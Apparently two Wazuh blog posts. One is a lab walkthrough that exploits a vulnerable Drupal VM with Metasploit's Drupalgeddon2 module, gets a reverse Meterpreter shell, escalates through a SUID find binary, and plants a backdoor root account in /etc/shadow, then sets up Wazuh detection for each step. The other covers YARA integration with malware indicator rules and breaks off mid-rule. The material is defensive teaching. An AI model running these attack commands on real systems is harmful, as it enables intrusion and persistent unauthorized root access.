Detecting Metasploit attacks

We are going to attack a vulnerable server using Metasploit and then we will see how to use Wazuh to detect various of its attacks. This framework is the most used penetration testing framework in the world. It contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

Introduction

We will simulate a real attack where the attacker uses Metasploit to exploit vulnerabilities in a Linux system and gains root access. Then, we will repeat the attack but this time with Wazuh installed in the vulnerable system.

With this goal, we prepare a small lab with three virtual machines:

  • Victim: The vulnerable machine DC:1 from VulnHub.
  • Attacker: Kali Linux or you can manually install Metasploit in any virtual machine.
  • Wazuh: The Wazuh OVA is the easiest method to setup the Wazuh Manager integrated with the Elastic Stack.

We assume that the virtual machines have been previously installed and that they are in the same network.

Attacking the vulnerable machine

In our attacker virtual machine (Kali), we run the netdiscover command to find information about the network.

[email protected]:/# netdiscover
_____________________________________________________________________________
IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.110   08:00:27:9b:66:0a      1      60  PCS Systemtechnik GmbH
192.168.1.54    08:00:27:1b:cc:6e      1      60  PCS Systemtechnik GmbH

There are two IP addresses. Let’s scan both with Nmap.

[email protected]:/# nmap -sV 192.168.1.110
Nmap scan report for 192.168.1.110
Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
111/tcp open  rpcbind   2-4 (RPC #100000)
443/tcp open  ssl/https

Since port 443 is running, we open the IP in the browser: https://192.168.1.110. When we access, we see the Wazuh WUI, so this is the IP address of our Wazuh virtual machine.

Now, we scan the other IP address:

[email protected]:/# nmap -sV 192.168.1.54
Nmap scan report for 192.168.1.54
Host is up (0.00016s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)

Port 80 HTTP is running, so we open that IP (http://192.168.1.54) in our browser:

Vulnerable Drupal server. Screenshot.

This looks like our target system (DC-1). It is running a Web server with Drupal. Our next step is to check if Metasploit has some available exploit for this CMS.

[email protected]:/# msfconsole
msf5 > search drupal
Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

We try one of the most recent and ranked: Drupal Drupalgeddon 2 Forms API Property Injection. This attack exploits the CVE-2018-7600 vulnerability.

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.1.56:4444 
[*] Sending stage (38288 bytes) to 192.168.1.54
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:33698) at 2020-06-09 12:17:42 +0200

meterpreter > sysinfo
Computer    : DC-1
OS          : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)

The exploit worked successfully and we are login on the server DC-1 with the user www-data. We need a way to gain root privileges. So, we get a reverse shell and spawn a TTY shell using Python.

meterpreter > shell
Process 4222 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'

Then, we try to find files with SUID permission:

[email protected]:/var/www$ find /usr/bin -perm -u=s -type f
find /usr/bin -perm -u=s -type f
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find

There are several binaries with the SUID bit set. Checking this reference, we realized that the find binary can be exploited if the SUID bit is set:

[email protected]:/var/www$ find . -exec /bin/sh ; -quit
find . -exec /bin/sh ; -quit
# whoami
whoami
root

Finally, we have root access. Let’s create another root user to access via SSH easily:

/usr/sbin/useradd -ou 0 -g 0 toor
sed -i 's/toor:!:/toor:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow

Now, we can login via SSH with the toor user and root password:

[email protected]:/# ssh [email protected]
[email protected]'s password: 

# bash
[email protected]:/# 

The metasploit attack was successful. We were able to create a root user with permanent access to the virtual machine exploiting a Drupal vulnerability and a wrong permission configuration.

Installing and configuring a Wazuh agent in the vulnerable machine

In this section, we will prepare our Wazuh Manager to detect the previous metasploit attack. Then, we will install a Wazuh agent in the vulnerable machine.

Step 1: Configuring SCA to detect vulnerable versions of Drupal

The exploit that we used works with the following Drupal versions according to the CVE-2018-7600:

  • Before 7.58
  • 8.x before 8.3.9
  • 8.4.x before 8.4.6
  • 8.5.x before 8.5.1

Wazuh is able to detect vulnerabilities in the installed applications using the Vulnerability detector module: the agent collects the list of installed application and they are correlated with vulnerability feeds like the National Vulnerability Database. In our case, since Drupal is installed using a zip file instead of a package, we can’t use the Vulnerability detector module but we can create our SCA policy to check if we have a vulnerable version of Drupal.

Create the SCA policy:

[[email protected] ~]# vi /var/ossec/etc/shared/default/sca_drupal.yaml
# Security Configuration Assessment
# Drupal
​
policy:
  id: "drupal"
  file: "drupal.yml"
  name: "Security checks for Drupal"
  description: "Find vulnerable versions of Drupal"
​
checks:
  - id: 100001
    title: "Drupal Drupalgeddon 2 Forms API Property Injection (CVE-2018-7600)"
    description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations."
    references:
      - https://www.cvedetails.com/cve/CVE-2018-7600/
      - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
      - https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2
    condition: none
    rules:
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && r:p6.d+'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p7.(d+) compare < 58'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.(d+) compare < 3'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.3.(d+) compare < 9'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.4.(d+) compare < 6'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.5.(d+) compare < 1'

Enable the SCA policy in your agents:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<agent_config>
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
    </policies>
  </sca>
</agent_config>

Step 2: SCA configuration to detect dangerous binaries with SUID bit set

During the metasploit attack, it was possible to gain root access due to the SUID bit set in the find command. We can create an SCA policy to alert about this kind of binaries.

Since some binaries have the SUID bit legitimately, it is necessary to exclude them. We use the default list created by Anon-Exploiter/SUID3NUM.

Create the SCA policy:

[[email protected] ~]# vi /var/ossec/etc/shared/default/sca_systemfiles.yaml
# Security Configuration Assessment
# System files

policy:
  id: "system-files"
  file: "system-files.yml"
  name: "Security checks for system files"
  description: "Analyse system files to find vulnerabilities"

checks:
  - id: 100002
    title: "Dangerous binaries with SUID bit set found"
    description: "Binaries with SUID bit set can result in a root shell."
    condition: none
    rules:
      - 'c:find /usr/bin -perm -u=s -type f -printf "%y:%pn" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'

Enable the SCA policy in your agents:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<agent_config>
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
      <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>
    </policies>
  </sca>
</agent_config>

Step 3: Detecting meterpreter

If we check the list of process running in the vulnerable machine during the metasploit attack, we will see some suspicious processes:

[email protected]:/# ps -eo user,pid,cmd | grep www-data
www-data  4428 sh -c php -r 'eval(base64_decode(Lyo8P3B...));'
www-data  4429 php -r eval(base64_decode(Lyo8P3B...));

Also, we can find an open connection for the 4429 PID:

[email protected]:/# netstat -tunap | grep 4429
tcp        0      0 192.168.1.54:50061      192.168.1.56:4444       ESTABLISHED 4429/php

We can consider that a process trying to evaluate some base64 code is an unusual situation and we should alert about it. So, we are going to run a command that lists the processes in our agents. Then, we will generate an alert if there is any process with the string eval(base64_decode.

Configure the command to list the processes:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<wodle name="command">
    <disabled>no</disabled>
    <tag>ps-list</tag>
    <command>ps -eo user,pid,cmd</command>
    <interval>10s</interval>
    <ignore_output>no</ignore_output>
    <run_on_start>yes</run_on_start>
    <timeout>5</timeout>
</wodle>

Create the rule to detect processes evaluating base64 code:

[[email protected] ~]# vi /var/ossec/etc/rules/local_rules.xml
<group name="wazuh,">
    <rule id="100001" level="0">
        <location>command_ps-list</location>
        <description>List of running process.</description>
        <group>process_monitor,</group>
    </rule>

    <rule id="100002" level="10">
        <if_sid>100001</if_sid>
        <match>eval(base64_decode</match>
        <description>Reverse shell detected.</description>
        <group>process_monitor,attacks</group>
    </rule>
</group>

Step 4: Applying previous changes

Restart the Wazuh manager service to apply the new rules:

[[email protected] ~]# systemctl restart wazuh-manager

Step 5: Installing the Wazuh agent

We recommend restarting the vulnerable machine to remove any trace from the previous metasploit attack.

Access to the vulnerable machine using the toor:root credentials and install the Wazuh agent. In our case, the manager is located in 192.168.1.110 as checked in the previous section.

[email protected]:/# ssh [email protected]
[email protected]'s password: 
# bash
[email protected]:/# curl https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.12.3-1_i386.deb -o wazuh-agent.deb
[email protected]:/# WAZUH_MANAGER="192.168.1.110" dpkg -i wazuh-agent.deb

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:

[email protected]:/# echo -e "sca.remote_commands=1nwazuh_command.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

Finally, restart our agent to apply the changes:

[email protected]:/# service wazuh-agent restart

Detecting the attack with Wazuh

We should see our agent DC-1 (004) Active in the Wazuh WUI:

Wazuh agent overview. Screenshot. Metasploit Attack

Once the agent is running, it will perform the SCA scans for our Drupal and System files policies. Also, the default policies for our agent (CIS benchmark for Debian/Linux 7 L1/L2) will be executed. Check the scan results in the SCA tab of your agent:

SCA (Security Configuration Assessment) overview. Screenshot.

The policies show several checks failing. Let’s review our policies in detail:

System files policy

System file policy. Screenshot. Metasploit Attack

Drupal policy

Drupal policy. Screenshot.

There are two outstanding failed checks (Drupal version and SUID files). Fixing both, we can prevent the metasploit attack.

Now, we repeat the attack described in the first section:

[email protected]:/# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.1.56:4444 
[*] Sending stage (38288 bytes) to 192.168.1.54
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:39991) at 2020-06-12 12:08:23 +0200

meterpreter > getpid
Current pid: 7785

The new rules are detecting the meterpreter session:

Rule for meterpreter session. Screenshot. Metasploit Attack

Also, Metasploit generates a log in the Apache server during the exploitation and the Wazuh rule engine is matching the log with the rule Web server 400 error code (ID: 31101), indicating a possible attack.

Finally, if we add another root user as we did in the first metasploit attack, Wazuh will alert about the creation of the user as well as the SSH login:

[email protected]:/# msfconsole
...
meterpreter > shell
Process 8998 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/var/www$ find . -exec /bin/sh ; -quit
find . -exec /bin/sh ; -quit
# /usr/sbin/useradd -ou 0 -g 0 toornew
/usr/sbin/useradd -ou 0 -g 0 toornew
# sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow
sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow


[[email protected] ~]# ssh [email protected]

Login rules. Screenshot. Metasploit attacks

Conclusion

Security Configuration Assessment (SCA) allows us to detect attack vectors used by tools like Metasploit. Using a combination of the default CIS policies and custom policies like the ones explained in this post is a key priority to guarantee that our endpoints are hardened properly. Checking these alerts is a daily task. In addition, the command feature along with the log analysis engine allows us to detect a wide variety of attacks.

If you have any questions about Metasploit Attacks, don’t hesitate to check out our documentation to learn more about Wazuh or join our community where our team and contributors will help you.

The post Detecting Metasploit attacks appeared first on Wazuh.

How to integrate YARA with Wazuh

Wazuh can integrate with YARA in different ways. YARA is a versatile Open Source pattern-matching tool aimed to detect malware samples based on rule descriptions, although it is not limited to that use case alone.

This blog post will focus on automatically executing YARA scans by using the active response module when a Wazuh FIM alert is triggered.

This is an interesting way of using YARA as it concentrates the scans on new files or files that change in your environment, thus optimizing resource consumption on the monitored endpoints.

The next diagram illustrates the flow of events between the different components:

YARA integration with Wazuh. Diagram

YARA rules

Rules consist of a set of strings to match and a boolean expression that determines its logic. Each rule starts with the keyword rule followed by an identifier. They are grouped in files that use the .yar extension.

The two most important sections inside a rule definition are:

  • Strings. This section defines the strings used in the rule. Each of them has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores that you can later reference in the condition section. It is optional.
  • Condition. A boolean expression that represents the logic of the rule. It is mandatory.

You can also provide a meta section used to specify comments or additional details about the rule.

This is a sample rule:

rule dummyRule
{
    meta:
       author = "your_author"
    strings:
       $text = "foo"
    condition:
       $text
}

Many resources regarding rule definitions are available on the Internet, including the following:

Strings

YARA offers three types of strings:

  • Hexadecimal. They are used for defining raw sequences of bytes, even allowing for wild-cards, jumps and alternatives.
  • Text. A simple, case-sensitive string. You can apply modifiers that alter the way in which the string will be interpreted.
  • Regular expressions. Perl-like syntax for regular expressions.

Example:

strings:
    $hex_string = { E2 34 ?? C8 A? FB }
    $text_string = "foobar"
    $re_string = /state: (on|off)/

You can read here more about Yara Strings.

Condition

Generally, the condition will refer to previously defined strings by using their identifiers.
They contain the typical boolean and relational operators, but arithmetic and bitwise ones are also available.

Example:

condition:
    $hex_string and ($text_string or $re_string)

You can read here more about conditions.

Note: You can distribute YARA rule files to groups of wazuh agents using the centralized configuration capability.

Wazuh active response

An active response can execute a script when a specific alert, alert level, or rule group is triggered in your Wazuh system. There are two types:

  • Stateful. It can undo the action after a specified period of time.
  • Stateless. It represents a single execution without an event to revert the original effect.

You can also decide where the action will take place:

  • Local. It runs the script on the agent that generated the alert.
  • Server. It runs the script on the Wazuh manager.
  • Defined agent. You can specify the IDs of the agents that will run the script regardless of where the event has been observed.
  • All. Every agent in the environment will run the script. Use with caution.

You can read here more about Wazuh active response.

For this blog post, you will define a stateless type of active response that will be executed locally on the agent that generated the alert.

Wazuh manager configuration

First, you need to tell the manager what is the action that you want to execute and under which circumstances you want it to be triggered. For that, edit the configuration file located at /var/ossec/etc/ossec.conf and add the following:

<ossec_config>
  <command>
    <name>yara</name>
    <executable>yara.sh</executable>
    <expect>filename</expect>
    <extra_args>-yara_path /path/to/yara -yara_rules /path/to/rules</extra_args>
    <timeout_allowed>no</timeout_allowed>
  </command>
  <active-response>
    <command>yara</command>
    <location>local</location>
    <rules_id>550,554</rules_id>
  </active-response>
</ossec_config>

Command

It contains information about the action to be executed on the agent, including its parameters:

  • The name setting uniquely identifies the command, yara.
  • The script in the executable setting, yara.sh.
  • The expect setting lets you specify a field within the alert to pass on to the command. In this case the path to the file that triggered the FIM alert.
  • You also need to specify where the YARA binary and rules are located. For this you can use the extra_args setting.
  • The timeout_allowed setting set to no. This represents a stateless active response.

Active response

It defines the criteria used to execute a specific command:

  • The command to execute. It references the yara command created above.
  • The location setting as local. It means that the active response will be executed on the agent that generates the alert.
  • You can write a list of rule ids that will trigger the active response in the rules_id setting. This example uses rule 550, new file added to the system, and rule 554, file modified in the system.

Rules and decoders

Now you need to define a set of rules and decoders to trigger alerts from the events generated by the YARA active response.

Create a decoder file, for example /var/ossec/etc/decoders/yara_decoders.xml, and add the following:

<!-- 
 - YARA decoders 
 - Created by Wazuh, Inc. 
 - Copyright (C) 2015-2020, Wazuh Inc. 
 - This program is a free software; you can redistribute it and/or modify it under the terms of GPLv2. 
-->

<decoder name="yara">
  <prematch>wazuh-yara: </prematch>
</decoder>

<decoder name="yara">
  <parent>yara</parent>
  <regex offset="after_parent">info: (S+) (.+)</regex>
  <order>yara_rule, file_path</order>
</decoder>

<decoder name="yara">
  <parent>yara</parent>
  <regex offset="after_parent">error: (.+)</regex>
  <order>error_message</order>
</decoder>

Similarly create a rule file, /var/ossec/etc/rules/yara_rules.xml, with the following content:

<!-- 
 - YARA rules 
 - Created by Wazuh, Inc. 
 - Copyright (C) 2015-2020, Wazuh Inc. 
 - This program is a free software; you can redistribute it and/or modify it under the terms of GPLv2. 
-->

<group name="yara,">
    <rule id="100100" level="0">
        <decoded_as>yara</decoded_as>
        <description>YARA rules grouped.</description>
    </rule>

    <rule id="100101" level="5">
        <if_sid>100100</if_sid>
        <field name="error_message">.+</field>
        <description>YARA error detected.</description>
    </rule>

    <rule id="100102" level="10">
        <if_sid>100100</if_sid>
        <field name="yara_rule">.+</field>
        <description>YARA $(yara_rule) detected.</description>
    </rule>
</group>

Wazuh agent configuration

The following section assumes YARA is already installed on the monitored endpoint. You can follow the official installation guide.

The script configured to run as part of the active response settings defined on the Wazuh manager, yara.sh, needs to be placed under /var/ossec/active-response/bin on the Wazuh agent side. Add the following content to it:

#!/bin/bash
# Wazuh - YARA active response
# Copyright (C) 2015-2020, Wazuh Inc.
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public
# License (version 2) as published by the FSF - Free Software
# Foundation.

#------------------------- Gather parameters -------------------------#

# Static active response parameters
FILENAME=$8
LOCAL=`dirname $0`

# Extra arguments
YARA_PATH=
YARA_RULES=

while [ "$1" != "" ]; do
  case $1 in
    -yara_path)       shift
                      YARA_PATH=$1
                      ;;
    -yara_rules)      shift
                      YARA_RULES=$1
                      ;;
    * )               shift
  esac
  shift
done

# Move to the active response folder
cd $LOCAL
cd ../

# Set LOG_FILE path
PWD=`pwd`
LOG_FILE="${PWD}/../logs/active-responses.log"

#----------------------- Analyze parameters -----------------------#

if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]
then
    echo "wazuh-yara: error: Yara path and rules parameters are mandatory." >> ${LOG_FILE}
    exit
fi


#------------------------- Main workflow --------------------------#

# Execute YARA scan on the specified filename
yara_output=$(${YARA_PATH}/yara -w -r $YARA_RULES $FILENAME)

if [[ $yara_output != "" ]]
then
    # Iterate every detected rule and append it to the LOG_FILE
    while read -r line; do
        echo "wazuh-yara: info: $line" >> ${LOG_FILE}
    done <<< "$yara_output"
fi

exit 1;

Note: Make sure that the yara.sh file ownership is root:ossec and the permissions are 750.

The script receives:

  • The file path contained in the alert that triggered the active response in the 8th argument.
  • -yara_path. Path to the folder where the Yara executable is located; by default this is usually /usr/local/bin.
  • -yara_rules. File path to the Yara rules file used for the scan.

It uses the parameters above to perform a YARA scan:

# Execute YARA scan on the specified filename
yara_output=$(${YARA_PATH}/yara -w -r $YARA_RULES $FILENAME)

Then it analyzes the output to determine if the scan triggered any YARA rule:

# Iterate every detected rule and append it to the LOG_FILE
while read -r line; do
    echo "wazuh-yara: $line" >> ${LOG_FILE}
done <<< "$yara_output"

For every line in the output, the script will append an event to the active response log, /var/ossec/logs/active-responses.log, with the following format:

wazuh-yara: info: yara_rule file_path

Note: There’s no need to configure the agent to monitor the active response log as it is part of the agent’s default configuration.

Malware detection use case

HiddenWasp is a sophisticated malware that infects Linux systems, used for targeted remote control. Its authors took advantage of various publicly available Open Source malware, such as Mirai and Azazel rootkit.

It has three different components:

  • Deployment script. Initial attack vector.
  • Rootkit. Artifact hiding mechanisms and TCP connection hiding.
  • Trojan. C&C requests.

You can read here a thorough analysis of this malware.

Deployment script

It is typically a bash script that tries to download the malware itself by connecting to an SFTP server. This script even updates the malware if the host was already compromised.

The main IoCs to look for in this component are the IP and files that it copies to the system:

rule HiddenWasp_Deployment
{
    strings:
        $a = "http://103.206.123.13:8080/configUpdate.tar.gz"
        $b = "http://103.206.123.13:8080/configUpdate-32.tar.gz"
        $c = "http://103.206.123.13:8080/system.tar.gz"
        $d = "103.206.123.13"
    condition:
        any of them
}

Rootkit

User-space based rootkit enforced via the LD_PRELOAD Linux mechanism, and delivered as an ET_DYN stripped ELF binary. It tries to hide the trojan part of the malware by cloaking artifacts and TCP connections.

The following YARA rule detects its signature by using hexadecimal strings:

rule HiddenWasp_Rootkit
{
	strings:
		$a1 = { FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 48 ?? ?? ?? 48 ?? ?? ?? ?? 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? }
		$a2 = { 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
		$a3 = { 0F B6 ?? 83 ?? ?? 88 ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 0F 82 [0-128] 48 ?? ?? ?? 48 }
		$a4 = { 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
		$b0 = { E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 [0-128] C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 83}
		$b1 = { 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? FF 7? ?? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? }
		$b2 = { 8B ?? ?? 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B ?? ?? 8B ?? ?? 29}
		$b3 = { 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B}
		$b4 = { 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 [0-128] 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 80 7? ?? ?? 75 [0-128] 8A ?? ??}
	condition:
		all of ($a*) or all of ($b*)
}

Trojan

Statically linked ELF binary that uses the stdlibc++. Its main goal is to allow the C&C requests sent by the clients that connect to it.

Similarly to the rootkit, this YARA rule contains hexadecimal strings that can detect this component’s binary signature:

rule HiddenWasp_Trojan
{
	strings:
		$a0 = { 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 29 ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 29 ?? ?? 29 ?? ?? 83 ?? ?? 8B ?? ?? 8D ?? ?? 89 [0-128] 83 ?? ?? 0F B7 }
		$a1 = { 31 ?? 89 [0-128] FC 88 ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 66 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? 4? 39 ?? ?? ?? ?? ?? 75 [0-128] BB ?? ?? ?? ?? 31 ?? FC 8B ?? ?? ?? ?? ?? 88 ?? 89 ?? F2 ?? F7 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? F2 ?? F7 ?? 8D ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 89 ?? 89 ?? F2 ?? 8B ?? ?? ?? ?? ?? F7 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? 5? }
		$a2 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 [0-128] 8D ?? ?? FC 89 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 ?? 75 [0-128] 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F2 ?? 89 ?? 89 ?? B9 ?? ?? ?? ?? F2 ?? F7 ?? F7 ?? 83 ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? }
